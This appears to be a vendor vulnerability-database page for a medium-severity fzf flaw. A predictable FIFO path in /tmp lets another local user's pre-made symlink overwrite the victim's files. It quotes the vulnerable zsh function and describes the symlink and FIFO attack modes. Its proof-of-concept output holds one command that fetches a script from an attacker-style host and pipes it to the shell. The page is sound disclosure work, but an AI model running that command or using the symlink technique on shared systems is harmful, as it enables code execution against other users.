NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
MEDIUM severity

CVE-2026-121717 — fzf

MEDIUMFix: junegunn/fzf@cbc11e4

CVE-2026-121717 is a medium-severity (CVSS 5) CWE-59 vulnerability in github.com/junegunn/fzf. A fix is available for github.com/junegunn/fzf — see the affected versions and patch details below.

fzf: Predictable FIFO path in zsh completion allows local symlink attack / arbitrary file overwrite as the victim user (_fzf_feed_fifo)

Also known asGHSA-7rj6-7pqx-v7rm
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 19, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-121717.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs7th percentile — riskier than 7% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
🐹github.com/junegunn/fzf

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

shell/completion.zsh feeds every trigger-driven zsh completion through a FIFO at a predictable, PID-based path in shared /tmp (fzf-complete-fifo-$$), without checking the failure of rm -f/mkfifo. On a multi-user host, another local user can pre-create that path as a symlink to a victim-writable file (e.g. ~/.bashrc), causing the victim's own completion to overwrite it with the completion stream — with attacker-influenced content (e.g. via process names in ps output), escalating to code execution at the victim's next login. A pre-created plain FIFO instead leaks/blocks on the completion stream.

Reporter / Credits:

Sai Sreewathsa Kovalluri, Shon Babu and Kannan K (Researchers), Innspark Solutions https://innspark.in/

Details

shell/completion.zsh (tag 0.74.4, commit a140afeb):

  • line ~246: fifo="${TMPDIR:-/tmp}/fzf-complete-fifo-$$" — predictable name; shell PIDs are low/guessable and a wide range can be pre-created.
  • lines 216-220, verbatim:
_fzf_feed_fifo() {
  command rm -f "$1"     # fails (EPERM) on an attacker-owned entry in sticky /tmp — error ignored
  mkfifo "$1"            # fails (EEXIST) — exit status unchecked
  cat <&0 > "$1" &|      # follows the attacker symlink / blocks on the attacker FIFO
}

Attack modes (no race required):

  1. File clobber → code execution: > "$1" follows a pre-created symlink, truncating/overwriting a victim-writable file with the completion input stream using the victim's privileges. For kill-completion the stream includes attacker-influenced process names, so planted lines can land in the victim's startup file.
  2. Information leak / hang: a pre-created plain FIFO makes the victim's cat block until the attacker reads the stream (full ps output, host lists, variable names).

PoC

Mechanism verified with the function extracted byte-for-byte from shell/completion.zsh (only &| → &, a syntax port irrelevant to the flaw), reproducing the cross-user /tmp precondition via an entry the victim cannot remove (identical to sticky /tmp semantics for an attacker-owned entry):

rm: cannot remove '.../fzf-complete-fifo-4242': Permission denied
mkfifo: cannot create fifo '.../fzf-complete-fifo-4242': File exists

=== victim file AFTER the victim's completion ran ===
evil-process; curl attacker.example/x.sh|sh; :
other-stream-data

The file was overwritten despite both rm and mkfifo failing. A self-contained reproducer was provided by email (poc-t04-fifo-clobber.sh).

Impact

Local (multi-user host; CWE-377 / CWE-59). Any victim running zsh with fzf trigger completion (kill/ssh/telnet/export/unset/unalias **<TAB>) on a host shared with an attacker risks silent overwrite of arbitrary user files (→ code execution at next login) or disclosure of the completion stream. Suggested fix: create the FIFO inside a private mktemp -d directory (mode 700) and check mkfifo's exit status, removing the rm-then-mkfifo TOCTOU entirely.

Reported privately to the maintainer by email; fix prepared for the next release.

Exploitability in practice

On a default modern host the file-overwrite variant is blocked by fs.protected_symlinks (a process will not follow a symlink in a sticky, world-writable directory owned by another user), and protected_fifos/protected_regular further limit the FIFO variants. Exploitation therefore depends on these kernel protections being disabled. The information exposed is a bounded completion candidate list (process names, hostnames, variable names) rather than arbitrary data, and the "code execution at next login" outcome is a downstream chain requiring the victim to both have the clobbered file sourced and log in again.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/junegunn/fzfall versions0.74.5go get github.com/junegunn/fzf@v0.74.5

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/junegunn/fzf, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/junegunn/fzf to 0.74.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-121717 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Frequently Asked Questions

### Summary `shell/completion.zsh` feeds every trigger-driven zsh completion through a FIFO at a predictable, PID-based path in shared `/tmp` (`fzf-complete-fifo-$$`), without checking the failure of `rm -f`/`mkfifo`. On a multi-user host, another local user can pre-create that path as a symlink to a victim-writable file (e.g. `~/.bashrc`), causing the victim's own completion to overwrite it with the completion stream — with attacker-influenced content (e.g. via process names in `ps` output), escalating to code execution at the victim's next login. A pre-created plain FIFO instead leaks/block
O3 Security · Impact-Aware SCA

Is CVE-2026-121717 in your dependencies?

Find it across Go, including transitive dependencies.

CVE-2026-121717: fzf Info Disclosure — Fixed in 0.74.5